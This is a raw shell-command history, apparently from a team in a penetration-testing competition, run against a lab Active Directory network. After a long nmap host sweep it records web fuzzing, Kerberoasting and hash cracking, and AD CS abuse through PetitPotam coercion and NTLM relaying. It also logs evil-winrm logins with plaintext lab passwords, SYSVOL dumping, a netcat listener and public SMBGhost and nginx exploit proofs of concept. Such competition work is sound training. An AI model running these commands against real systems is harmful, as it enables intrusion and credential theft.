Nmap scan report for 10.0.1.5 [host down]\
Nmap scan report for 10.0.1.7 [host down]\
Nmap scan report for 10.0.1.8 [host down]\
Nmap scan report for 10.0.1.9 [host down]\
Nmap scan report for 10.0.1.12 [host down]\
Nmap scan report for 10.0.1.13 [host down]\
Nmap scan report for 10.0.1.16 [host down]\
Nmap scan report for 10.0.1.17 [host down]\
Nmap scan report for 10.0.1.18 [host down]\
Nmap scan report for 10.0.1.19 [host down]\
Nmap scan report for 10.0.1.22 [host down]\
Nmap scan report for 10.0.1.23 [host down]\
Nmap scan report for 10.0.1.24 [host down]\
Nmap scan report for 10.0.1.25 [host down]\
Nmap scan report for 10.0.1.26 [host down]\
Nmap scan report for 10.0.1.27 [host down]\
Nmap scan report for 10.0.1.28 [host down]\
Nmap scan report for 10.0.1.29 [host down]\
Nmap scan report for 10.0.1.31 [host down]\
Nmap scan report for 10.0.1.32 [host down]\
Nmap scan report for 10.0.1.33 [host down]\
Nmap scan report for 10.0.1.34 [host down]\
Nmap scan report for 10.0.1.35 [host down]\
Nmap scan report for 10.0.1.36 [host down]\
Nmap scan report for 10.0.1.37 [host down]\
Nmap scan report for 10.0.1.38 [host down]\
Nmap scan report for 10.0.1.39 [host down]\
Nmap scan report for 10.0.1.40 [host down]\
Nmap scan report for 10.0.1.41 [host down]\
Nmap scan report for 10.0.1.42 [host down]\
Nmap scan report for 10.0.1.43 [host down]\
Nmap scan report for 10.0.1.44 [host down]\
Nmap scan report for 10.0.1.45 [host down]\
Nmap scan report for 10.0.1.46 [host down]\
Nmap scan report for 10.0.1.47 [host down]\
Nmap scan report for 10.0.1.48 [host down]\
Nmap scan report for 10.0.1.49 [host down]\
Nmap scan report for 10.0.1.50 [host down]\
Nmap scan report for 10.0.1.51 [host down]\
Nmap scan report for 10.0.1.52 [host down]\
Nmap scan report for 10.0.1.53 [host down]\
Nmap scan report for 10.0.1.54 [host down]\
Nmap scan report for 10.0.1.55 [host down]\
Nmap scan report for 10.0.1.56 [host down]\
Nmap scan report for 10.0.1.57 [host down]\
Nmap scan report for 10.0.1.58 [host down]\
Nmap scan report for 10.0.1.59 [host down]\
Nmap scan report for 10.0.1.60 [host down]\
Nmap scan report for 10.0.1.61 [host down]\
Nmap scan report for 10.0.1.62 [host down]\
Nmap scan report for 10.0.1.63 [host down]\
Nmap scan report for 10.0.1.64 [host down]\
Nmap scan report for 10.0.1.65 [host down]\
Nmap scan report for 10.0.1.66 [host down]\
Nmap scan report for 10.0.1.67 [host down]\
Nmap scan report for 10.0.1.68 [host down]\
Nmap scan report for 10.0.1.69 [host down]\
Nmap scan report for 10.0.1.70 [host down]\
Nmap scan report for 10.0.1.71 [host down]\
Nmap scan report for 10.0.1.72 [host down]\
Nmap scan report for 10.0.1.73 [host down]\
Nmap scan report for 10.0.1.74 [host down]\
Nmap scan report for 10.0.1.75 [host down]\
Nmap scan report for 10.0.1.76 [host down]\
Nmap scan report for 10.0.1.77 [host down]\
Nmap scan report for 10.0.1.78 [host down]\
Nmap scan report for 10.0.1.79 [host down]\
Nmap scan report for 10.0.1.80 [host down]\
Nmap scan report for 10.0.1.81 [host down]\
Nmap scan report for 10.0.1.82 [host down]\
Nmap scan report for 10.0.1.83 [host down]\
Nmap scan report for 10.0.1.84 [host down]\
Nmap scan report for 10.0.1.85 [host down]\
Nmap scan report for 10.0.1.86 [host down]\
Nmap scan report for 10.0.1.87 [host down]\
Nmap scan report for 10.0.1.88 [host down]\
Nmap scan report for 10.0.1.89 [host down]\
Nmap scan report for 10.0.1.90 [host down]\
Nmap scan report for 10.0.1.91 [host down]\
Nmap scan report for 10.0.1.92 [host down]\
Nmap scan report for 10.0.1.93 [host down]\
Nmap scan report for 10.0.1.94 [host down]\
Nmap scan report for 10.0.1.95 [host down]\
Nmap scan report for 10.0.1.96 [host down]\
Nmap scan report for 10.0.1.97 [host down]\
Nmap scan report for 10.0.1.98 [host down]\
Nmap scan report for 10.0.1.100 [host down]\
Nmap scan report for 10.0.1.101 [host down]\
Nmap scan report for 10.0.1.102 [host down]\
Nmap scan report for 10.0.1.103 [host down]\
Nmap scan report for 10.0.1.104 [host down]\
Nmap scan report for 10.0.1.105 [host down]\
Nmap scan report for 10.0.1.106 [host down]\
Nmap scan report for 10.0.1.107 [host down]\
Nmap scan report for 10.0.1.108 [host down]\
Nmap scan report for 10.0.1.109 [host down]\
Nmap scan report for 10.0.1.110 [host down]\
Nmap scan report for 10.0.1.111 [host down]\
Nmap scan report for 10.0.1.112 [host down]\
Nmap scan report for 10.0.1.113 [host down]\
Nmap scan report for 10.0.1.114 [host down]\
Nmap scan report for 10.0.1.115 [host down]\
Nmap scan report for 10.0.1.116 [host down]\
Nmap scan report for 10.0.1.117 [host down]\
Nmap scan report for 10.0.1.118 [host down]\
Nmap scan report for 10.0.1.119 [host down]\
Nmap scan report for 10.0.1.120 [host down]\
Nmap scan report for 10.0.1.121 [host down]\
Nmap scan report for 10.0.1.122 [host down]\
Nmap scan report for 10.0.1.123 [host down]\
Nmap scan report for 10.0.1.124 [host down]\
Nmap scan report for 10.0.1.125 [host down]\
Nmap scan report for 10.0.1.126 [host down]\
Nmap scan report for 10.0.1.127 [host down]\
Nmap scan report for 10.0.1.128 [host down]\
Nmap scan report for 10.0.1.129 [host down]\
Nmap scan report for 10.0.1.130 [host down]\
Nmap scan report for 10.0.1.131 [host down]\
Nmap scan report for 10.0.1.132 [host down]\
Nmap scan report for 10.0.1.133 [host down]\
Nmap scan report for 10.0.1.134 [host down]\
Nmap scan report for 10.0.1.135 [host down]\
Nmap scan report for 10.0.1.136 [host down]\
Nmap scan report for 10.0.1.137 [host down]\
Nmap scan report for 10.0.1.138 [host down]\
Nmap scan report for 10.0.1.139 [host down]\
Nmap scan report for 10.0.1.140 [host down]\
Nmap scan report for 10.0.1.141 [host down]\
Nmap scan report for 10.0.1.142 [host down]\
Nmap scan report for 10.0.1.143 [host down]\
Nmap scan report for 10.0.1.144 [host down]\
Nmap scan report for 10.0.1.145 [host down]\
Nmap scan report for 10.0.1.146 [host down]\
Nmap scan report for 10.0.1.147 [host down]\
Nmap scan report for 10.0.1.148 [host down]\
Nmap scan report for 10.0.1.149 [host down]\
Nmap scan report for 10.0.1.150 [host down]\
Nmap scan report for 10.0.1.151 [host down]\
Nmap scan report for 10.0.1.152 [host down]\
Nmap scan report for 10.0.1.153 [host down]\
Nmap scan report for 10.0.1.154 [host down]\
Nmap scan report for 10.0.1.155 [host down]\
Nmap scan report for 10.0.1.156 [host down]\
Nmap scan report for 10.0.1.157 [host down]\
Nmap scan report for 10.0.1.158 [host down]\
Nmap scan report for 10.0.1.159 [host down]\
Nmap scan report for 10.0.1.160 [host down]\
Nmap scan report for 10.0.1.161 [host down]\
Nmap scan report for 10.0.1.162 [host down]\
Nmap scan report for 10.0.1.163 [host down]\
Nmap scan report for 10.0.1.164 [host down]\
Nmap scan report for 10.0.1.165 [host down]\
Nmap scan report for 10.0.1.166 [host down]\
Nmap scan report for 10.0.1.167 [host down]\
Nmap scan report for 10.0.1.168 [host down]\
Nmap scan report for 10.0.1.169 [host down]\
Nmap scan report for 10.0.1.170 [host down]\
Nmap scan report for 10.0.1.171 [host down]\
Nmap scan report for 10.0.1.172 [host down]\
Nmap scan report for 10.0.1.173 [host down]\
Nmap scan report for 10.0.1.174 [host down]\
Nmap scan report for 10.0.1.175 [host down]\
Nmap scan report for 10.0.1.176 [host down]\
Nmap scan report for 10.0.1.177 [host down]\
Nmap scan report for 10.0.1.178 [host down]\
Nmap scan report for 10.0.1.179 [host down]\
Nmap scan report for 10.0.1.180 [host down]\
Nmap scan report for 10.0.1.181 [host down]\
Nmap scan report for 10.0.1.182 [host down]\
Nmap scan report for 10.0.1.186 [host down]\
Nmap scan report for 10.0.1.187 [host down]\
Nmap scan report for 10.0.1.188 [host down]\
Nmap scan report for 10.0.1.189 [host down]\
Nmap scan report for 10.0.1.190 [host down]\
Nmap scan report for 10.0.1.191 [host down]\
Nmap scan report for 10.0.1.192 [host down]\
Nmap scan report for 10.0.1.193 [host down]\
Nmap scan report for 10.0.1.194 [host down]\
Nmap scan report for 10.0.1.195 [host down]\
Nmap scan report for 10.0.1.196 [host down]\
Nmap scan report for 10.0.1.197 [host down]\
Nmap scan report for 10.0.1.198 [host down]\
Nmap scan report for 10.0.1.199 [host down]\
Nmap scan report for 10.0.1.200 [host down]\
Nmap scan report for 10.0.1.201 [host down]\
Nmap scan report for 10.0.1.202 [host down]\
Nmap scan report for 10.0.1.203 [host down]\
Nmap scan report for 10.0.1.204 [host down]\
Nmap scan report for 10.0.1.205 [host down]\
Nmap scan report for 10.0.1.206 [host down]\
Nmap scan report for 10.0.1.207 [host down]\
Nmap scan report for 10.0.1.208 [host down]\
Nmap scan report for 10.0.1.209 [host down]\
Nmap scan report for 10.0.1.210 [host down]\
Nmap scan report for 10.0.1.211 [host down]\
Nmap scan report for 10.0.1.212 [host down]\
Nmap scan report for 10.0.1.213 [host down]\
Nmap scan report for 10.0.1.214 [host down]\
Nmap scan report for 10.0.1.215 [host down]\
Nmap scan report for 10.0.1.216 [host down]\
Nmap scan report for 10.0.1.217 [host down]\
Nmap scan report for 10.0.1.218 [host down]\
Nmap scan report for 10.0.1.219 [host down]\
Nmap scan report for 10.0.1.220 [host down]\
Nmap scan report for 10.0.1.221 [host down]\
Nmap scan report for 10.0.1.222 [host down]\
Nmap scan report for 10.0.1.223 [host down]\
Nmap scan report for 10.0.1.224 [host down]\
Nmap scan report for 10.0.1.225 [host down]\
Nmap scan report for 10.0.1.226 [host down]\
Nmap scan report for 10.0.1.227 [host down]\
Nmap scan report for 10.0.1.228 [host down]\
Nmap scan report for 10.0.1.229 [host down]\
Nmap scan report for 10.0.1.230 [host down]\
Nmap scan report for 10.0.1.231 [host down]\
Nmap scan report for 10.0.1.232 [host down]\
Nmap scan report for 10.0.1.233 [host down]\
Nmap scan report for 10.0.1.234 [host down]\
Nmap scan report for 10.0.1.235 [host down]\
Nmap scan report for 10.0.1.236 [host down]\
Nmap scan report for 10.0.1.237 [host down]\
Nmap scan report for 10.0.1.238 [host down]\
Nmap scan report for 10.0.1.239 [host down]\
Nmap scan report for 10.0.1.240 [host down]\
Nmap scan report for 10.0.1.241 [host down]\
Nmap scan report for 10.0.1.242 [host down]\
Nmap scan report for 10.0.1.243 [host down]\
Nmap scan report for 10.0.1.244 [host down]\
Nmap scan report for 10.0.1.245 [host down]\
Nmap scan report for 10.0.1.246 [host down]\
Nmap scan report for 10.0.1.247 [host down]\
Nmap scan report for 10.0.1.248 [host down]\
Nmap scan report for 10.0.1.249 [host down]\
Nmap scan report for 10.0.1.250 [host down]\
Nmap scan report for 10.0.1.251 [host down]\
Nmap scan report for 10.0.1.252 [host down]\
Nmap scan report for 10.0.1.253 [host down]\
Nmap scan report for 10.0.1.255 [host down]\


_raw: : 1760823355:0;gobuster dir -u http://10.0.1.15:8090 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1760823342:0;gobuster dir -u http://10.0.1.15:8090 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760823315:0;systemctl restart resolvconf


_raw: : 1760823293:0;systemctl restart resolvconf


_raw: : 1760823293:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/.FUZZ -t 1 -fr 'Oops! Something Unexpected Occurred' -fs 4831


_raw: : 1760823275:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6 -text -enabled -hide-admins -debug


_raw: : 1760823262:0;impacket-getTGT -dc-ip 10.0.1.6 APT/cloudbase-init:OHg1O74m7GoIrxLJ44BF


_raw: : 1760823260:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6 --debug


_raw: : 1760823260:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/health/FUZZ -t 1 -fr 'Oops! Something Unexpected Occurred' -fs 4831


_raw: : 1760823257:0;apt install bloodhound.py


_raw: : 1760823254:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6 -debug


_raw: : 1760823221:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/images/FUZZ -t 1 -fr 'Oops! Something Unexpected Occurred' -fs 4831


_raw: : 1760823207:0;openssl s_client -connect 10.0.1.6:636 -showcerts


_raw:
nano /etc/hosts
ls
cat /etc/hosts
clear
sudo su


_raw: : 1760823081:0;evil-winrm -i 10.0.1.20 -u cloudbase-init -p OHg1O74m7GoIrxLJ44BF


_raw: : 1760823069:0;hashcat -m 3200 -a 0 $2a$10$OtjnIjNDZAppKuTk8rY5bOwV6Fyy2f6RIzhXbklJEIU8EcGxtQanG /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760823044:0;evil-winrm -i 10.0.1.6 -u cloudbase-init -p OHg1O74m7GoIrxLJ44BF


_raw: : 1760823042:0;hashcat -m 3200 -a 0 /usr/share/wordlists/rockyou.txt.gz $2a$10$OtjnIjNDZAppKuTk8rY5bOwV6Fyy2f6RIzhXbklJEIU8EcGxtQanG


_raw: : 1760823029:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/assets/FUZZ -t 1 -fr 'Oops! Something Unexpected Occurred' -fs 4831


_raw: : 1760823020:0;cp /home/pentester/Desktop/req .


_raw: : 1760823018:0;evil-winrm -i 10.0.1.6 -U cloudbase-init -P OHg1O74m7GoIrxLJ44BF


_raw:
ifconfig
nc -lvnp 9001
ldapsearch -x -H ldap://prod.allports.local -D "CN=Administrator,CN=Users,DC=prod,DC=example,DC=local" -W -b "DC=prod,DC=example,DC=local" "(objectCategory=computer)" cn\
nc -lvnp 9001
searchsploit Apache/2.4
searchsploit Apache 2.4
searchsploit Apache 2.4 -u
searchsploit Apache 2.4 -w
msfconsole
ssh root@10.0.1.14
nmap -T4 -p- 10.0.1.14 -sV
nmap -T4 -p5001 10.0.1.14 -sV
searchsploit nginx 1.18.0
git repo clone M507/CVE-2021-23017-PoC
git clone https://github.com/M507/CVE-2021-23017-PoC.git
ls
cd CVE-2021-23017-PoC
ls
python3 poc.py
ls
pip install -r requirements.txt
python3 -m venv
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py --target=10.0.1.14
python3 poc.py --target=10.0.1.14 --dns-server=10
python3 poc.py --target=10.0.1.14 --dns-server=10.0.1.1
python3 poc.py --target 10.0.1.14 --dns-server 10.0.1.1
python3 poc.py --target 10.0.1.14
sudo python3 poc.py --target 10.0.1.14
exit


_raw: : 1760822987:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6


_raw: : 1760822982:0;certipy find -u 'SVC_STABALIZE@APT-DC-01' -p '1gyroscope' -dc-ip 10.0.1.6 -text -enabled -hide-admins


_raw: : 1760822977:0;hashcat -m 13100 hash1.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760822966:0;cp /home/pentester/Desktop/request .


_raw: : 1760822923:0;certipy find -u 'rdavis@APT-DC-01' -p 'rosdav50' -dc-ip 10.0.1.6 -text -enabled -hide-admins


_raw: : 1760822920:0;chown -r /home/pentester/SecLists pentester


_raw: : 1760822901:0;mv SecLists /home/pentester


_raw:
ls
cat password.txt
clear
russcan
sudo apt update
cat password.txt
sudo su


_raw: : 1760822820:0;cp /home/pentester/Desktop/sql.req .


_raw: : 1760822768:0;hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt


_raw:
smbnmap -sS -sV -p- --script vuln,default,safe -oA scan_full_vulns 10.0.1.6
nmap -sS -sV -p- --script vuln,default,safe -oA scan_full_vulns 10.0.1.6
cd Downloads
cd CVE-2020-0796-PoC-master
ls
./CVE-2020-0796.py 10.0.1.6
pip install ntlm_auth
python3 -m venv .
ls
ls bin
source bin/activate
pip install ntlm_auth
./CVE-2020-0796.py 10.0.1.6
pip install cryptography
./CVE-2020-0796.py 10.0.1.6
pip install six
./CVE-2020-0796.py 10.0.1.6
pip install pyasn1
./CVE-2020-0796.py 10.0.1.6
dirb
dirb http://bb-a173.rooms.allports.tours/api/announcements/
dirb http://bb-a173.rooms.allports.tours/
dirb http://bb-a173.rooms.allports.tours/api/
dirb http://bb-a173.rooms.allports.tours/api/admin/
dirb http://bb-a173.rooms.allports.tours/api/announcements/
dirb http://bb-a173.rooms.allports.tours/api/services
dirb http://bb-a173.rooms.allports.tours/api/emergency
dirb http://bb-a173.rooms.allports.tours/api/admin/
dirb http://bb-a173.rooms.allports.tours/api/admin/announcement
ls
cd Down
cd Downloads
ls
cd ~/Downloads
ls
mv file.txt /home/pentester/thinclient_drives/C:/Users/Administrator/Downloads
john --show
exit


_raw: : 1760822755:0;python3 -m venv certipy-venv


_raw: : 1760822734:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/FUZZ -t 1 -fr 'Oops! Something Unexpected Occurred' -fs 4831


_raw: : 1760822723:0;sqlmap -u https://chat.allports.tours/login


_raw: : 1760822720:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/FUZZ -t 1 -fr 'Oops! Something Unexpected Occurred'


_raw: : 1760822705:0;git clone https://github.com/ly4k/Certipy.git


_raw: : 1760822696:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/FUZZ -t 1 -fr '404 Not Found'


_raw: : 1760822688:0;git clone evil-winrm -i 10.0.1.6 -u SVC_STABILIZE -p 'lgyroscope'


_raw:
nxc smb $IP/24 -u 'svc_stabilize' -p '1gyroscope' --shares
export IP=10.0.1.6
nxc smb $IP/24 -u 'svc_stabilize' -p '1gyroscope' --shares
xfreerdp
xfreerdp3 /u:svc_stabillize /p:1gyroscope /v:allports.local
xfreerdp3 /u:svc_stabilize /p:1gyroscope /v:allports.local
xfreerdp3 /u:svc_stabilize /p:1gyroscope /v:APT-DC-01.allports.local
rdesktop -u svc_stabiize -p 1gyroscope allports.local
nxc ldap $IP -u 'svc_stabilize' -p '1gyroscope' --trusted-for-delegation
nxc ldap $IP/24 -u 'svc_stabilize' -p '1gyroscope' --trusted-for-delegation


_raw: : 1760822665:0;git clone https://github.com/danielmiessler/SecLists


_raw: : 1760822664:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.11:80/FUZZ -t 1


_raw: : 1760822652:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1760822647:0;sudo responder -I eth0 -w


_raw: : 1760822267:0;hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760822217:0;sudo apt install xfreerdp3


_raw: : 1760822209:0;sudo apt install xfreerdp


_raw: : 1760822181:0;openssl s_client -connect 10.0.1.21:443 -servername DECKHAND-02


_raw: : 1760822168:0;nxc smb 10.0.1.6-21 -u SVC_STABALIZE -p 1gyroscope --shares


_raw: : 1760822066:0;hashcat -m 1000 -m 0 -a 0  hash.txt rockyou.txt


_raw: : 1760822019:0;hashcat -m 1000 -a 1000 hash.txt rockyou.txt


_raw: : 1760822004:0;hashcat -m 1000 -a 0 hash.txt rockyou.txt


_raw: : 1760821998:0;sudo nmap -p80,443 --script=http-title,http-headers,http-vhosts,http-enum -sV -Pn -T3 -oN /home/kali/recon/10.0.2.19_http_enum.txt 10.0.1.14


_raw:
nxc smb 10.0.1.6 -u '' -p '' -M zerologon -M printnightmare -M smbghost
sudo nxc smb 10.0.1.6 -u '' -p '' -M zerologon -M printnightmare -M smbghost
sudo nxc smb 10.0.1.6 -u '' -p '' -M printnightmare
sudo nxc smb 10.0.1.6 -u '' -p '' -M smbghost
flameshot
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus
flameshot
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=PetitPotam -L=10.0.254.201
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=PetitPotam
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o L=10.0.254.201
ls
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o M=PrinterBug
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o L=10.0.254.201
flmaeshot
flameshot
impacket-ntlmrelayx -t http://10.0.1.6/certsrv/certfnsh.asp  -smb2support
impacket-ntlmrelayx -t http://10.0.1.6/certsrv/certfnsh.asp  -smb2support --adcs --template DomainController


_raw: : 1760821973:0;evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1760821950:0;john --wordlist=rockyou.txt hash.txt


_raw: : 1760821936:0;evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p 'lgyroscope'


_raw: : 1760821904:0;john --wordlist=rockyou.txt hash.txt


_raw:
#1760821902
evil-winrm -i 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'


_raw: : 1760821884:0;john --wordlist=rockyou.txt hash.txt


_raw: : 1760821838:0;evil-winrm -i 10.0.1.6 -u SVC_STABILIZE -p 'lgyroscope'


_raw: : 1760821822:0;mkdir -p /tmp/sysvol && smbclient //10.0.1.21/SYSVOL -N -c 'recurse; lcd /tmp/sysvol; mget *'


_raw: : 1760821799:0;hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash


_raw: : 1760821590:0;evil-winrm -i 10.0.1.99 -u admin -p 'IamTheCaptain'


_raw: : 1760821587:0;evil-winrm -i 10.0.1.99 -u admin -p 'IamTheCaptain


_raw: : 1760821301:0;impacket-GetUserSPNs allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request


_raw: : 1760821286:0;impacket-GetUserSPNs allports.tours/rdavis:rosdav50 -dc-ip 10.0.1.6 -request


_raw: : 1760821225:0;crackmapexec smb 10.0.1.99/24 -u admin -p IamTheCaptain


_raw: : 1760821210:0;crackmapexe smb 10.0.1.99/24 -u admin -p IamTheCaptain


_raw: : 1760821069:0;jq -r '.email' input.json > emails.txt\


_raw: : 1760821053:0;jq -r '.email' input.json > emails.txt\


_raw: : 1760820915:0;ldapsearch -x -H ldap://allports.local0. -s base -b "" namingContexts


_raw: : 1760820898:0;sudo systemctl restart gvmd ospd-openvas gsad


_raw:
ls
clear
ls
python3
clear
python3 /usr/share/impacket
cd /usr/share/impacket
ls
cd scr
ls
ls -la
cd script
ls
cat script
impacket
cd ..
ls
cd impacket
find . -name "GetUserSPN.py"
find \usr\ -name "GetUserSPN.py"
c
earls
cd ~
git clone https://github.com/fortra/impacket.git
ls
cd impacket
ls
pip install -t requirements.txt
pip install -r requirements.txt
pip install -r requirements.txt --break-system-packages
ls
python3 examples/psexec.py
python3 examples/psexec.py 'allports.local/svc_stabilize:1gyroscope@10.0.1.6'
python3 examples/psexec.py allports.local/svc_stabilize:1gyroscope@10.0.1.6
python3 examples/psexec.py
python3 examples/psexec.py allports.local/svc_stabilize -target-ip 10.0.1.6
examples/psexec.py allports.local/svc_stabilize -target-ip 10.0.1.6
examples/psexec.py -debug 'allports.local/svc_stabilize' -target-ip 10.0.1.6
examples/psexec.py
c
clear
cd ~
vim script.py
ls
vim test.py
ls
cd impacket
ls
python3 examples/getTGT.py
source venv/bin/activate
ls
source myenv/bin/activate
pip install -r requirements.txt
clear
ls
python3 examples/getTGT.py
python3 setup.py
pip3 install impacket
clear
python3 examples/getTGT.py
python3 setup.py
python3 examples/getTGT.py
exit


_raw: : 1760820720:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u https://10.0.1.14/FUZZ -t 1


_raw: : 1760820642:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u https://10.0.1.99/FUZZ -t 1


_raw:
sudo nmap -sS -n --top-ports 1000 10.0.1.11 -oG Nscan.txt
sudo password
sudo passwd
sudo nmap -sV -o -p 1000-13107 10.0.1.11
sudo nmap -sV -o -p 1-13107 10.0.1.11
sudo nmap -sV -O -p 1-13107 10.0.1.11 -oG Scan2.txt
shutter
sudo nmap -sV -O -p 1-13107 10.0.1.0/24 -oG Scan2.txt
sudo passwd
sudo nmap -sV -O --top-ports 10.0.1.0/24 -oG Scan2.txt
sudo nmap -sV -O 10.0.1.0/24 -oG Scan2.txt


_raw: : 1760820600:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.99/FUZZ -t 1


_raw: : 1760820594:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760820581:0;find / -iname '*sharphound*' 2>/dev/null


_raw: : 1760820564:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760820532:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.99/FUZZ -t 10


_raw: : 1760820518:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.1.99/FUZZ


_raw: : 1760820515:0;sudo hostnamectl set-hostname CPTC11-regionals-greatlakes-t7-vdi-kali05


_raw: : 1760820348:0;KBR5CCNAME='DECKHAND-01$.ccache' impacket-smbclient 'allports.local/DECKHAND-01$@10.0.1.20' -k -no-pass -debug -dc-ip 10.0.1.6


_raw: : 1760820342:0;impacket-getTGT  'allports.local/DECKHAND-01$' -hashes :f41448140dd571a98f4c6a95a99bf75f -dc-ip 10.0.1.6


_raw:
cd /usr/share/wordlists
ls
cd /home/pentest
cd /home
ls
cd pentester
ls
cd pentest
rm Host19Nmap.txt Host15Nmap.txt
ls
cat Host19Nmap.txt
ls
cat Host99Nmap.txt
cat Host99Nmap.tx
cat Host19Nmap.txt
ffuf --h
ffuf -u http://10.0.1.15:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 50
ffuf -u http://10.0.1.15:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt
ls
cat Host19Nmap.txt
dig APT-DC-01.allports.local
dig SOA APT-DC-01.allports.local
dig @a.root.servers.net APT-DC-01.allports.local AXLR
dig NS a.root.servers,net
dig SOA a.root.servers,net
dig a.root-servers.net
dig @198.41.0.4 a.root-servers.net
nmap -sV -sC 10.0.1.11
sqlmap -u http://10.0.1.11/login
nmap -sV -sC 10.0.1.11
mongosh "mongodb://10.0.1.11:8081" --username admin --authenticationDatabase admin
sudo apt install mongosh
mongosh
mongodump
mongodump --uri="mongodb://admin:<password>@10.0.1.11:8081"
password
mongodump --help
mongodump --uri="mongodb://admin:<password>@10.0.1.11:8081" -p password
mongodump --help
mongodump --host=10.0.1.11 --port=8081 --username=admin --password=password
mongodump --uri="mongodb://admin:password@10.0.1.11:8081"
mongodump --uri="http://admin:password@10.0.1.11:8081"
mongodump --host=10.0.1.11 --port=8081 --username=admin --password=password
mongodump --uri="http://10.0.1.11:8081"
nmap -sV -sC 10.0.1.20
ls
cat Host19Nmap.txt
sqlmap 10.0.1.15
mysql --help
mysql -h 10.0.1.15 -u boatgps
man sqlmap
msfconsole
python -m http.server
cd ..
python -m http.server


_raw: : 1760820300:0;KBR5CCNAME='DECKHAND-01$.ccache' impacket-smbclient 'allports.local/DECKHAND-01$@10.0.1.20' -k -no-pass -debug -dc-ip 10.0.1.6


_raw:
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14:8081 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14:80 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.15:8080/ -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://10.0.1.14:80 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://10.0.1.11 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14:5001/ -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11:80 -w  /usr/share/wordlists/dirb/common.txt
nslookup
gobuster dir -u http://10.0.1.11:8000 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11 -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.11 -k -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.99 -k -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.15 -k -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -k -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.99:8080 -k -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.11 -k -w /usr/share/wordlists/dirb/common.txt
nikto -h http://10.0.1.11 -o nikto11.txt
ls


_raw:
ls
cat nikto11.txt
ls
gobuster dir -u http://10.0.1.11/api/ -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt -b 301
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt -k
